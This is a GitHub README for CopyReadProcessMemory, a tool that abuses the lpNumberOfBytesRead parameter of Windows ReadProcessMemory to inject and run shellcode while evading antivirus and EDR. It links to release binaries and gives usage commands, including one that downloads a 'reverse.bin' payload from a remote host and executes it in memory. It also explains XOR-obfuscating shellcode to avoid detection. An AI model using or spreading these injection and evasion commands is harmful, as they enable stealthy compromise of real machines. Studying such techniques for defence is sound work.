# CopyReadProcessMemory

## Description

CopyReadProcessMemory expoits the miss-configuration/vulnerability present on the API Windows method *ReadProcessMemory* discovered by *DarkCoderSc*.

It exploits the nature of the in/out pointer param named **lpNumberOfBytesRead*, that enables to write into process memory without calling common API methods to do so such as memcpy, this is perfect for AV and EDR detection evasion

```C++
BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead      <----------------------------- Vulnerable param
);
```

This tool can directly be used on red team operations as a POC.

## Download

Just go the release section of the repo and download the latest version

```
https://github.com/chmod760/CopyReadProcessMemory/releases/tag/Stable-1.0
```

## Usage

The main options of the program are the next:

```Powershell
CopyReadProcessMemory.exe -h

Usage:
  CopyReadProcessMemory [OPTIONS]

Modes (choose exactly one):
  -s, --string_inject <STRING>      Inject a raw string
  -f, --file_path <FILE>            Load payload from file
  -t, --remote_payload <TARGET>     Use remote payload

Options:
  -e, --execute                     Execute payload after processing
  -x, --xor                         XOR key to decode the shellcode
  -h, --help                        Show this help
  -V, --version                     Show version
```

<img width="1436" height="337" alt="image" src="https://github.com/user-attachments/assets/912ed5e6-5d1a-40a3-9865-fae43718e969" />


There are three possible surfaces for attack scenarios (at least):

### Remote shellcode in-memory inyection & execution

```Powershell
CopyReadProcessMemory.exe -t http://192.168.1.140:8081/reverse.bin -e
```

### In terminal line shellcode inyection & execution

```Powershell
CopyReadProcessMemory.exe  -s "Copy Using ReadProcessMemory"
```

### From external file shellcode inyection & execution


```Powershell
CopyReadProcessMemory.exe -f "C:\Users\Public\Download\reverse.bin" -e 
```

### Payload De-obfuscation

**From an attacker’s perspective, dropping raw shellcode on a system usually means instant detection and failure. Because of this, attackers often obfuscate or encrypt their shellcode to avoid being flagged by AV/EDR solutions, which requires decrypting or de-obfuscating it in memory. To support this workflow, I added an extra feature that can de-obfuscate the payload using the `-x` argument, allowing you to provide the key used for de-xor’ing it.**

```Powershell
CopyReadProcessMemory.exe -f C:\Users\Public\Downloads\reverse.bin_xored -e -x chmod760
```

It can also be applied to the other features described earlier in this document.

Additionally, a Python script is included to help with payload obfuscation.


### Credits

Big kudos to Jean-Pierre LESUEUR (DarkCoderSc) for discovering the pointer vulnerability and posting it to the unprotect.it project, you can contact him here:

https://unprotect.it/users/public/profile/darkcodersc/